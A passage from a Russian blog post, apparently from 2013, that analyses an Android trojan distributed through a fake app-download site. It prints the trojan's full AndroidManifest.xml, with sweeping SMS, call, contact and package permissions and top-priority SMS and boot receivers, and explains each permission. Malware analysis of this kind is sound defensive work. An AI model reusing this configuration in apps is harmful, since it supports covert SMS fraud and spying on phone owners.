{"id":168573,"date":"2013-02-07T11:56:03","date_gmt":"2013-02-07T07:56:03","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=168573"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=168573","title":{"rendered":"<span class=\"post_title\">\u041f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u0442\u0440\u043e\u044f\u043d\u0441\u043a\u0438\u0439 \u043a\u043e\u043d\u044c \u043d\u0430 Android<\/span>"},"content":{"rendered":"<div class=\"content html_format\">   \t\u041a\u0430\u0436\u0434\u044b\u0439, \u043d\u0430\u0432\u0435\u0440\u043d\u043e\u0435, \u0441\u0442\u0430\u043b\u043a\u0438\u0432\u0430\u043b\u0441\u044f \u0441 \u0441\u0430\u0439\u0442\u0430\u043c\u0438, \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e\u0449\u0438\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u043b\u0430\u0442\u043d\u0443\u044e \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0443 \u043d\u0430 \u0442\u0443 \u0438\u043b\u0438 \u0438\u043d\u0443\u044e \u0443\u0441\u043b\u0443\u0433\u0443. \u0412 \u0441\u0438\u043b\u0443 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0438 \u043c\u043e\u0435\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u043c\u043d\u0435 \u0438\u043d\u043e\u0433\u0434\u0430 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u044b. \u0427\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u043e\u043d\u0438 \u043d\u0430\u0441\u043f\u0435\u0445 \u043d\u0430\u0431\u0438\u0442\u044b \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u043e\u043c, \u0444\u0430\u043b\u044c\u0448\u0438\u0432\u044b\u043c\u0438 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f\u043c\u0438 \u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u044b \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0434\u043b\u044f \u043e\u0431\u043c\u0430\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0421\u043e\u0437\u0434\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u0435\u0449\u0430\u044e\u0442 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u0433\u043e\u0440\u044b, \u0430 \u043d\u0430 \u0434\u0435\u043b\u0435 \u0432\u0441\u0435 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0431\u0430\u043d\u0430\u043b\u044c\u043d\u044b\u043c \u0440\u0430\u0437\u0432\u043e\u0434\u043e\u043c \u043d\u0430 \u0434\u0435\u043d\u044c\u0433\u0438. \u0414\u0430\u043d\u043d\u0430\u044f \u0441\u0442\u0430\u0442\u044c\u044f \u2014 \u043e\u0434\u0438\u043d \u0438\u0437 \u0447\u0430\u0441\u0442\u043d\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0444\u0435\u0439\u043a-\u0441\u0430\u0439\u0442\u0430 \u0441 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c \u0434\u043b\u044f Android.<br \/>  <a name=\"habracut\"><\/a><br \/>  \u0412\u0441\u0435 \u043d\u0430\u0447\u0430\u043b\u043e\u0441\u044c \u0441 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043c\u043d\u0435 \u043f\u0440\u0438\u0441\u043b\u0430\u043b\u0438 \u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0441\u0430\u0439\u0442. \u041f\u043e \u0432\u0438\u0434\u0443 \u2014 \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0432\u0430\u0440\u0435\u0437\u043d\u044b\u0439 \u0431\u043b\u043e\u0433 \u0441 \u0433\u0440\u043e\u043c\u043a\u0438\u043c\u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430\u043c\u0438 \u0442\u0438\u043f\u0430 \u201c\u0411\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u044b\u0435 \u043e\u0431\u043e\u0438 \u0438 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0438 \u0434\u043b\u044f \u0430\u043d\u0434\u0440\u043e\u0438\u0434\u0430\u201d, \u201c\u0421\u0430\u043c\u044b\u0435 \u0443\u043c\u043d\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u043d\u0430 \u0430\u043d\u0434\u0440\u043e\u0438\u0434\u201d \u0438 \u0442\u043e\u043c\u0443 \u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0435. \u0421\u0440\u0430\u0437\u0443 \u0431\u0440\u043e\u0441\u0438\u043b\u043e\u0441\u044c \u0432 \u0433\u043b\u0430\u0437\u0430, \u0447\u0442\u043e \u0432\u043e \u0432\u0441\u0435\u0445 \u043f\u043e\u0441\u0442\u0430\u0445 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0435 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438, \u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u201c\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u043b\u044e\u0434\u044c\u043c\u0438\u201d. \u0421\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435:<\/p>\n<p>  <i> \u2014 \u0421\u0430\u0439\u0442 \u043f\u0440\u043e\u0441\u0438\u0442 \u0432\u0432\u0435\u0441\u0442\u0438 \u043d\u043e\u043c\u0435\u0440 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430, \u044d\u0442\u043e \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e?<br \/>   \u2014 \u0414\u0430, \u044d\u0442\u043e \u0434\u043b\u044f \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430, \u0447\u0442\u043e \u0442\u044b \u043d\u0435 \u0431\u043e\u0442.<br \/>   \u2014 \u041e, \u043a\u0440\u0443\u0442\u043e, \u0441\u043f\u0430\u0441\u0438\u0431\u043e!<\/i><\/p>\n<p>  \u0412 \u043e\u0431\u0449\u0435\u043c \u0444\u0430\u043a\u0442 \u043e\u0431\u043c\u0430\u043d\u0430 \u0432\u0438\u0434\u0435\u043d \u0441\u0440\u0430\u0437\u0443, \u043d\u043e \u044f \u0440\u0435\u0448\u0438\u043b \u043a\u043e\u043f\u0430\u0442\u044c \u0434\u0430\u043b\u044c\u0448\u0435. \u041f\u0440\u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438\u0437 \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0441\u0442\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u0442\u0430\u0446\u0438\u043e\u043d\u0430\u0440\u043d\u043e\u0433\u043e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430, \u043c\u0435\u043d\u044f \u043f\u0435\u0440\u0435\u043a\u0438\u0434\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u0439 \u0440\u0435\u0441\u0443\u0440\u0441. \u0421\u0441\u044b\u043b\u043a\u0430 \u0432\u0438\u0434\u0430 http:\/\/****\/**\/?sub_id=* (\u0430\u0433\u0430, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u043f\u0430\u0440\u0442\u043d\u0435\u0440\u043e\u0447\u043a\u0430). \u0422\u0430\u043c \u043c\u043d\u0435 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e\u0442 \u043a\u0443\u043f\u0438\u0442\u044c \u0437\u0430 \u0434\u0435\u043d\u044c\u0433\u0438 Google Chrome (\u0438 \u0432\u0435\u0434\u044c \u0432\u0435\u0434\u0443\u0442\u0441\u044f \u0436\u0435 \u043b\u044e\u0434\u0438!).<\/p>\n<p>  \u0414\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u2026 \u041d\u043e \u0432\u0435\u0434\u044c \u0440\u0435\u0441\u0443\u0440\u0441 \u043f\u043e\u0441\u0432\u044f\u0449\u0435\u043d \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c \u0434\u043b\u044f Android \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432, \u0437\u043d\u0430\u0447\u0438\u0442, \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c \u0437\u0430\u0439\u0442\u0438 \u0441 \u0434\u0435\u0432\u0430\u0439\u0441\u0430. \u041a\u0430\u043a \u0438 \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u043e \u043e\u0436\u0438\u0434\u0430\u0442\u044c: \u0432\u043c\u0435\u0441\u0442\u043e \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043a\u0443\u043f\u0438\u0442\u044c \u0441\u0443\u043f\u0435\u0440-\u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f install.apk. \u201c\u0412\u043e\u0442 \u044d\u0442\u043e \u0443\u0436\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u201d \u2014 \u043f\u043e\u0434\u0443\u043c\u0430\u043b \u044f \u0438 \u043d\u0435 \u043e\u0448\u0438\u0431\u0441\u044f.<\/p>\n<p>  \u041f\u0435\u0440\u0432\u043e\u0435, \u0447\u0442\u043e \u0431\u0440\u043e\u0441\u0438\u043b\u043e\u0441\u044c \u0432 \u0433\u043b\u0430\u0437\u0430 \u2014 \u043e\u0433\u0440\u043e\u043c\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0439.<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/d98\/b2a\/0f3\/d98b2a0f336f7edaac7d660774334d4d.png\" align=\"left\"\/><img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/043\/31f\/ed2\/04331fed225bc87be039a7489d55314d.png\" align=\"left\"\/><br \/>  <br clear=\"all\"\/>  \u041d\u0435 \u0441\u043b\u0430\u0431\u044b\u0439 \u043d\u0430\u0431\u043e\u0440, \u043f\u0440\u0430\u0432\u0434\u0430? \u041c\u043d\u0435 \u0441\u0442\u0430\u043b\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u0447\u0442\u043e \u0436\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u0441\u043e \u0432\u0441\u0435\u043c\u0438 \u044d\u0442\u0438\u043c\u0438 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u044f\u043c\u0438.<\/p>\n<p>  \u041d\u0435 \u0431\u0443\u0434\u0443 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0441\u0430\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438, \u043b\u0438\u0448\u044c \u0443\u043f\u043e\u043c\u044f\u043d\u0443, \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b <a href=\"http:\/\/code.google.com\/p\/android-apktool\/\">apktools<\/a>, <a href=\"http:\/\/code.google.com\/p\/dex2jar\/\">dex2jar<\/a>, <a href=\"http:\/\/java.decompiler.free.fr\/\">JD-GUI<\/a> \u0438 <a href=\"http:\/\/www.varaneckas.com\/jad\/\">jad<\/a>. \u0412 \u0438\u0442\u043e\u0433\u0435 \u044f \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u044b \u0438 \u043d\u0430\u0431\u043e\u0440 \u043a\u043b\u0430\u0441\u0441\u043e\u0432.<\/p>\n<p>  \u041f\u0435\u0440\u0432\u043e\u0435, \u043d\u0430 \u0447\u0442\u043e \u044f \u043e\u0431\u0440\u0430\u0442\u0438\u043b \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u044d\u0442\u043e, \u0440\u0430\u0437\u0443\u043c\u0435\u0435\u0442\u0441\u044f, <b>AndroidManifest.xml<\/b>.<\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0421\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0444\u0430\u0439\u043b\u0430 AndroidManifest.xml<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"xml\">&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt; &lt;manifest android:versionCode=&quot;100&quot; android:versionName=&quot;100&quot; package=&quot;install.app&quot;   xmlns:android=&quot;http:\/\/schemas.android.com\/apk\/res\/android&quot;&gt;     &lt;uses-sdk android:minSdkVersion=&quot;4&quot; android:targetSdkVersion=&quot;15&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.READ_PHONE_STATE&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.SEND_SMS&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.RECEIVE_SMS&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.INTERNET&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.WAKE_LOCK&quot; \/&gt;     &lt;application android:theme=&quot;@style\/AppTheme&quot; android:label=&quot;@string\/app_name&quot; android:icon=&quot;@drawable\/icon&quot;&gt;         &lt;activity android:theme=&quot;@android:style\/Theme.NoTitleBar.Fullscreen&quot; android:label=&quot;@string\/app_name&quot; android:name=&quot;.MainActivity&quot; android:screenOrientation=&quot;portrait&quot; android:configChanges=&quot;keyboardHidden|orientation&quot;&gt;             &lt;intent-filter&gt;                 &lt;action android:name=&quot;android.intent.action.MAIN&quot; \/&gt;                 &lt;category android:name=&quot;android.intent.category.LAUNCHER&quot; \/&gt;             &lt;\/intent-filter&gt;         &lt;\/activity&gt;         &lt;receiver android:name=&quot;.MainReceiver&quot; android:enabled=&quot;true&quot;&gt;             &lt;intent-filter android:priority=&quot;2147483647&quot;&gt;                 &lt;action android:name=&quot;android.provider.Telephony.SMS_RECEIVED&quot; \/&gt;             &lt;\/intent-filter&gt;         &lt;\/receiver&gt;         &lt;service android:name=&quot;.MainService&quot; \/&gt;         &lt;receiver android:name=&quot;ru.beta.MainReceiver&quot; android:enabled=&quot;true&quot;&gt;             &lt;intent-filter android:priority=&quot;2147483647&quot;&gt;                 &lt;action android:name=&quot;android.provider.Telephony.SMS_RECEIVED&quot; \/&gt;                 &lt;action android:name=&quot;custom.alarm&quot; \/&gt;                 &lt;action android:name=&quot;android.intent.action.BOOT_COMPLETED&quot; \/&gt;                 &lt;action android:name=&quot;android.intent.action.USER_PRESENT&quot; \/&gt;                 &lt;action android:name=&quot;android.intent.action.PHONE_STATE&quot; \/&gt;                 &lt;action android:name=&quot;android.intent.action.SCREEN_OFF&quot; \/&gt;                 &lt;action android:name=&quot;android.intent.action.SCREEN_ON&quot; \/&gt;             &lt;\/intent-filter&gt;         &lt;\/receiver&gt;         &lt;service android:label=&quot;@string\/app_name&quot; android:name=&quot;ru.beta.MainService&quot; \/&gt;     &lt;\/application&gt;     &lt;uses-permission android:name=&quot;android.permission.READ_PHONE_STATE&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.ACCESS_NETWORK_STATE&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.SEND_SMS&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.RECEIVE_SMS&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.INTERNET&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.RECEIVE_BOOT_COMPLETED&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.ACCESS_NETWORK_STATE&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.WRITE_EXTERNAL_STORAGE&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.INSTALL_PACKAGES&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.DELETE_PACKAGES&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.READ_CONTACTS&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.CALL_PHONE&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.CALL_PRIVILEGED&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.GET_TASKS&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.SYSTEM_ALERT_WINDOW&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.RESTART_PACKAGES&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.KILL_BACKGROUND_PROCESSES&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.READ_LOGS&quot; \/&gt; &lt;\/manifest&gt; <\/code><\/pre>\n<p>  <\/div>\n<\/div>\n<p>  \u041a\u043e\u0440\u043e\u0442\u043a\u043e \u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u044f\u0445:<\/p>\n<p>  <i>READ_PHONE_STATE<\/i> \u2014 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0435 (\u043d\u043e\u043c\u0435\u0440 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430, \u0441\u0435\u0440\u0438\u0439\u043d\u0438\u043a, \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u0432\u044b\u0437\u043e\u0432\u0430\u0445);<br \/>  <i>SEND_SMS<\/i> \u2014 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 sms-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439;<br \/>  <i>RECEIVE_SMS<\/i> \u2014 \u043f\u0440\u0438\u0435\u043c sms-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0438\u0445 (\u0438\u043c\u0435\u043d\u043d\u043e \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u0443 MainReceiver \u043d\u0430\u0438\u0432\u044b\u0441\u0448\u0438\u0439);<br \/>  <i>INTERNET<\/i> \u2014 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430;<br \/>  <i>WAKE_LOCK<\/i> \u2014 \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0441\u043f\u044f\u0449\u0438\u0439 \u0440\u0435\u0436\u0438\u043c (\u0432\u0438\u0434\u0438\u043c\u043e \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0441\u0442\u0438 :);<br \/>  <i>ACCESS_NETWORK_STATE<\/i> \u2014 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f\u0445;<br \/>  <i>RECEIVE_BOOT_COMPLETED<\/i> \u2014 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u043e \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435;<br \/>  <i>WRITE_EXTERNAL_STORAGE<\/i> \u2014 \u0437\u0430\u043f\u0438\u0441\u044c\/\u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043d\u0430 \u043a\u0430\u0440\u0442\u0435 \u043f\u0430\u043c\u044f\u0442\u0438;<br \/>  <i>INSTALL_PACKAGES<\/i> \u2014 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043c\u043e\u0436\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u043f\u0430\u043a\u0435\u0442\u044b;<br \/>  <i>DELETE_PACKAGES<\/i> \u2014 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043c\u043e\u0436\u0435\u0442 \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u043f\u0430\u043a\u0435\u0442\u044b;<br \/>  <i>READ_CONTACTS<\/i> \u2014 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0442\u0430\u043a\u0442\u0430\u043c;<br \/>  <i>CALL_PHONE<\/i> \u2014 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043d\u044b\u0435 \u0432\u044b\u0437\u043e\u0432\u044b;<br \/>  <i>CALL_PRIVILEGED<\/i> \u2014 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043d\u044b\u0435 \u0432\u044b\u0437\u043e\u0432\u044b, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u043e \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u043c \u043d\u043e\u043c\u0435\u0440\u0430\u043c;<br \/>  <i>GET_TASKS<\/i> \u2014 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445;<br \/>  <i>SYSTEM_ALERT_WINDOW<\/i> \u2014 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u043f\u043e\u0432\u0435\u0440\u0445 \u0432\u0441\u0435\u0445 \u043e\u043a\u043e\u043d;<br \/>  <i>RESTART_PACKAGES<\/i> \u2014 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0442\u044c \u0444\u043e\u043d\u043e\u0432\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 (\u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435);<br \/>  <i>KILL_BACKGROUND_PROCESSES<\/i> \u2014 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0442\u044c \u0444\u043e\u043d\u043e\u0432\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 (\u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435); <br \/>  <i>READ_LOGS<\/i> \u2014 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0436\u0443\u0440\u043d\u0430\u043b\u0430.<\/p>\n<p>  \u0422\u0430\u043a \u0436\u0435 \u0435\u0441\u0442\u044c \u0440\u0435\u0441\u0438\u0432\u0435\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0438\u044f:<\/p>\n<p>  <i>SMS_RECEIVED<\/i> \u2014 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043e sms-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435;<br \/>  <i>custom.alarm<\/i> \u2014 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u0435;<br \/>  <i>BOOT_COMPLETED<\/i> \u2014 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0430;<br \/>  <i>USER_PRESENT<\/i> \u2014 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0440\u0430\u0437\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043b \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e;<br \/>  <i>PHONE_STATE<\/i> \u2014 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0441\u043e\u0442\u043e\u0432\u043e\u0439 \u0441\u0435\u0442\u0438 (\u043d\u0435 \u0437\u043d\u0430\u044e, \u043a\u0430\u043a \u0432\u044b\u0440\u0430\u0437\u0438\u0442\u044c\u0441\u044f \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u0435\u0439, \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u0442\u044c \u0432\u044b\u0437\u043e\u0432\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f);<br \/>  <i>SCREEN_OFF<\/i> \u2014 \u043f\u0440\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u044d\u043a\u0440\u0430\u043d\u0430;<br \/>  <i>SCREEN_ON<\/i> \u2014 \u043f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u044d\u043a\u0440\u0430\u043d\u0430.<\/p>\n<p>  \u0422\u0430\u043a \u043a\u0430\u043a \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0430 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0443 \u043c\u0435\u043d\u044f \u0431\u044b\u043b\u043e \u043d\u0435\u043c\u043d\u043e\u0433\u043e (\u0441\u0442\u043e\u044f\u043b\u0430 \u0437\u0430\u0434\u0430\u0447\u0430 \u0432 \u043e\u0431\u0449\u0438\u0445 \u0447\u0435\u0440\u0442\u0430\u0445 \u0443\u0437\u043d\u0430\u0442\u044c, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435), \u044f \u043d\u0435 \u0441\u0442\u0430\u043b 